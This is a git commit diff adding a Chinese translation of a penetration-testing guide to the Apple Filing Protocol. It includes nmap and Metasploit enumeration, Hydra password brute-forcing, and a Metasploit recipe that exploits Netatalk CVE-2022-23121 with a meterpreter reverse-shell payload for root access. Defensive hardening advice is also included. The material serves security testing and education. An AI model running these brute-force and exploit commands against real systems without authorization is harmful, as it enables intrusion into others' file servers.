Translated ['src/network-services-pentesting/584-pentesting-afp.md'] to

This commit is contained in:
Translator 2025-08-14 03:25:28 +00:00
parent d86fde4699
commit 4b50505811

View File

@ -4,27 +4,109 @@
## 基本信息
**Apple Filing Protocol** (**AFP**),曾被称为 AppleTalk Filing Protocol是一专门的网络协议,包含在 **Apple File Service** (**AFS**) 中。它旨在为 macOS 和经典 Mac OS 提供文件服务。AFP 的特点是支持 Unicode 文件名、POSIX 和访问控制列表权限、资源分支、命名扩展属性以及复杂的文件锁定机制。它是 Mac OS 9 及更早版本中文件服务的主要协议。
**Apple Filing Protocol** (**AFP**),曾被称为 AppleTalk Filing Protocol是一专门的网络协议,包含在 **Apple File Service** (**AFS**) 中。它旨在为 macOS 和经典 Mac OS 提供文件服务。AFP 的特点是支持 Unicode 文件名、POSIX 风格和 ACL 权限、资源分叉、命名扩展属性以及复杂的文件锁定机制。
**默认端口:** 548
尽管 AFP 在现代 macOS 版本中已被 SMB 取代(自 OS X 10.9 起SMB 为默认协议),但仍然可以在以下环境中遇到:
* 传统的 macOS / Mac OS 9 环境
* 嵌入开源 **Netatalk** 守护进程的 NAS 设备QNAP、Synology、Western Digital、TrueNAS…
* 仍启用 Time-Machine-over-AFP 的混合操作系统网络
**默认 TCP 端口:** **548**AFP over TCP / DSI
```bash
PORT STATE SERVICE
548/tcp open afp
PORT STATE SERVICE
548/tcp open afp
```
### **枚举**
---
对于AFP服务的枚举以下命令和脚本是有用的
## 枚举
### 快速横幅 / 服务器信息
```bash
msf> use auxiliary/scanner/afp/afp_server_info
nmap -sV --script "afp-* and not dos and not brute" -p <PORT> <IP>
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>
# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>
```
**脚本及其描述:**
有用的 AFP NSE 脚本:
- **afp-ls**: 此脚本用于列出可用的 AFP 卷和文件。
- **afp-path-vuln**: 它列出所有 AFP 卷和文件,并突出显示潜在的漏洞。
- **afp-serverinfo**: 这提供有关 AFP 服务器的详细信息。
- **afp-showmount**: 它列出可用的 AFP 共享及其各自的 ACL。
| 脚本 | 功能 |
|--------|--------------|
| **afp-ls** | 列出可用的 AFP 卷和文件 |
| **afp-brute** | 对 AFP 登录进行密码暴力破解 |
| **afp-serverinfo** | 转储服务器名称、机器类型、AFP 版本、支持的 UAM 等 |
| **afp-showmount** | 列出共享及其 ACL |
| **afp-path-vuln** | 检测并可以利用目录遍历CVE-2010-0533 |
### [**暴力破解**](../generic-hacking/brute-force.md#afp)
如果需要更多控制,可以将 NSE 暴力破解脚本与 Hydra/Medusa 结合使用:
```bash
hydra -L users.txt -P passwords.txt afp://<IP>
```
### 与共享交互
*macOS*
```bash
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
```
*Linux* (使用 `afpfs-ng` 大多数发行版中打包)
```bash
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>
```
一旦挂载,请记住经典的 Mac 资源分支作为隐藏的 `._*` AppleDouble 文件存储 这些文件通常包含 DFIR 工具遗漏的有趣元数据。
---
## 常见漏洞与利用
### Netatalk 未经身份验证的 RCE 链 (2022)
多个 NAS 供应商发布了 **Netatalk ≤3.1.12**。在 `parse_entries()` 中缺乏边界检查使攻击者能够构造恶意的 **AppleDouble** 头并在身份验证之前获得 **远程根权限** (**CVSS 9.8 CVE-2022-23121**)。NCC Group 提供了关于利用 Western-Digital PR4100 的完整报告和 PoC。
Metasploit (>= 6.3) 提供了模块 `exploit/linux/netatalk/parse_entries`,该模块通过 DSI `WRITE` 传递有效载荷。
```bash
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0 # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run
```
如果目标运行受影响的 QNAP/Synology 固件,成功利用将获得 **root** 权限的 shell。
### Netatalk OpenSession 堆溢出 (2018)
较旧的 Netatalk (3.0.0 - 3.1.11) 存在 **DSI OpenSession** 处理程序中的越界写入漏洞,允许未经身份验证的代码执行 (**CVE-2018-1160**)。Tenable Research 发布了详细的分析和 PoC。
### 其他显著问题
* **CVE-2022-22995** 符号链接重定向导致任意文件写入 / RCE当启用 AppleDouble v2 时 (3.1.0 - 3.1.17)。
* **CVE-2010-0533** Apple Mac OS X 10.6 AFP 中的目录遍历 (由 `afp-path-vuln.nse` 检测)。
* 在 **Netatalk 4.x (2024)** 中修复了多个内存安全漏洞 建议升级而不是修补单个 CVE。
---
## 防御建议
1. **禁用 AFP**,除非严格需要 使用 SMB3 或 NFS。
2. 如果必须保留 AFP**升级 Netatalk 至 ≥ 3.1.18 或 4.x**,或应用供应商固件以回溯 2022/2023/2024 的补丁。
3. 强制执行 **强 UAMs** (例如 *DHX2*),禁用明文和访客登录。
4. 将 TCP 548 限制在受信任的子网内,并在远程暴露时将 AFP 包裹在 VPN 内。
5. 定期使用 `nmap -p 548 --script afp-*` 在 CI/CD 中扫描,以捕捉流氓 / 降级设备。
---
### [暴力破解](../generic-hacking/brute-force.md#afp)
## 参考文献
* Netatalk 安全公告 CVE-2022-23121 "parse_entries 中的任意代码执行" <https://netatalk.io/security/CVE-2022-23121>
* Tenable Research "利用一个 18 年的漏洞 (CVE-2018-1160)" <https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172>
{{#include ../banners/hacktricks-training.md}}